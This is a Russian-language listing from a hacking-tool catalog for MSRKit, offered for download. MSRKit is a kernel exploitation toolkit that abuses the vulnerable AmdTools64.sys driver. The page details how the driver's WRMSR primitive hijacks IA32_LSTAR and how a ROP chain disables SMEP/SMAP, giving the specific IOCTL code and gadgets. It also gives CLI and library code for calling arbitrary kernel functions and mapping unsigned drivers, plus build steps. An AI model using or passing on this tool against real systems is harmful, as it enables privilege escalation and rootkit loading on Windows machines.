Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
MSRKit — Концепция использования ROP-цепочки в паре с примитивом WRMSR для вызова функций ядра и загрузки неподписанных драйверов через BYOVD (AmdTools64.sys) | Kitploit
Инструменты/GitHubGitHub/rurixis/msrkit
Повышение привилегийЭксплуатацияОбратная инженерияШелл-кодПост-эксплуатацияRed TeamingРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubrurixis/msrkit

MSRKit

Концепция использования ROP-цепочки в паре с примитивом WRMSR для вызова функций ядра и загрузки неподписанных драйверов через BYOVD (AmdTools64.sys)

Репозиторий
91352 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

MSRKit

Инструмент для вызова функций ядра и маппинга драйверов через ROP-цепочку с использованием примитива wrmsr в уязвимом драйвере (AmdTools64.sys).

Как это работает

  1. Загружает AmdTools64.sys через NtLoadDriver (при недоступности симлинка переключается на PnP devnode + интерфейс устройства на основе GUID)
  2. Считывает IA32_LSTAR через IOCTL чтения MSR драйвера (0xFFF02804)
  3. Сканирует ntoskrnl.exe на наличие ROP-гаджетов (pop rcx; ret, mov cr4, rcx; ret, wbinvd; ret и т.д.)
  4. Перезаписывает IA32_LSTAR входным гаджетом, очищает AC в FMASK и выполняет syscall
  5. ROP-цепочка очищает биты SMEP/SMAP в CR4, передаёт управление целевой функции на стеке ядра, восстанавливает CR4 и LSTAR, возвращается в пользовательский режим через sysretq

Маппинг драйвера следует тем же путём: выделяет пул ядра через ExAllocatePoolWithTag, копирует подготовленный PE-образ (применены релокации, разрешены импорты, пропатчен security cookie) и вызывает точку входа отображённого драйвера.

Использование

CLI

root@kitploit:~
msrkit <driver.sys> call    <ExportName> [args...]
msrkit <driver.sys> call_at <address>    [args...]
msrkit <driver.sys> map     <unsigned.sys> [entry args...]
msrkit <driver.sys> unmap   <address>
  • call -- разрешает и вызывает именованный экспорт ntoskrnl. Аргументы парсятся как целые числа (шестнадцатеричные с префиксом 0x). Выводит возвращаемое значение.
  • call_at -- вызывает произвольный виртуальный адрес ядра.
  • map -- отображает неподписанный драйвер в невыгружаемый пул и вызывает его точку входа (ExAllocatePoolWithTag). Выводит базовый адрес отображения.
  • unmap -- освобождает ранее отображённый драйвер по указанному базовому адресу.

Библиотека

root@kitploit:~
#include "msrkit.h"

#pragma comment(lib, "msrkit.lib")

int main()
{
	MSRK::INIT(L"AmdTools64.sys");

	void* mptr = MSRK::CALL("ExAllocatePool2", 0x40ULL, 0x1000, 'Ruri');
	std::cout << "Memory allocate: " << mptr << std::endl;

	auto mptr23 = MSRK::MAP("driver.sys", 123, 456);
	std::cout << "Driver mapped: " << std::hex << (uintptr_t)mptr23 << "\n";

	// raw call
	std::vector<uint64_t>args = { 0x40ULL, 1024, 'Tagz' };
	void* mptr24 = MSRK::M_FUNCTION::CALL("ExAllocatePool2", args.data(), args.size());
	std::cout << "raw memory alloc : " << mptr24 << std::endl;

	std::vector<uint64_t>args2 = { 123, 456 };
	auto mptr25 = MSRK::M_DRIVERMAP::MAP( "driver.sys", args2.data(), args2.size() );

	MSRK::UNMAP(mptr23);	
	MSRK::CLEANUP();
}

Опционально можно передать существующий дескриптор драйвера, чтобы пропустить загрузку:

root@kitploit:~
MSRK::INIT("AmdTools64.sys", existing_handle);

Сборка

Требуется Visual Studio с MSVC (v143+) и MASM (ml64.exe).

root@kitploit:~
cmake -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release

Результат: build/Release/msrkit.exe (CLI) и msrkit.lib (статическая библиотека).

CFG отключён (/guard:cf-). Stack cookies (/GS) включены.

Возможности

  • Полная поддержка всех сборок Windows 10 и 11
  • Совместимость с KPTI
  • Без поддержки HVCI (HVCI должен быть отключён)
  • Поддержка PnP / Non PnP драйверов

Ограничения

  • Только одноядерное выполнение -- поток привязан к CPU 0 во время вызовов ядра
  • Одновременный перехват LSTAR из разных процессов приведёт к BSOD (только один вызывающий за раз)
  • Заглушки системных вызовов Zw/Nt невозможно вызвать из контекста LSTAR (повторный вход в KiSystemService)
Скачать инструмент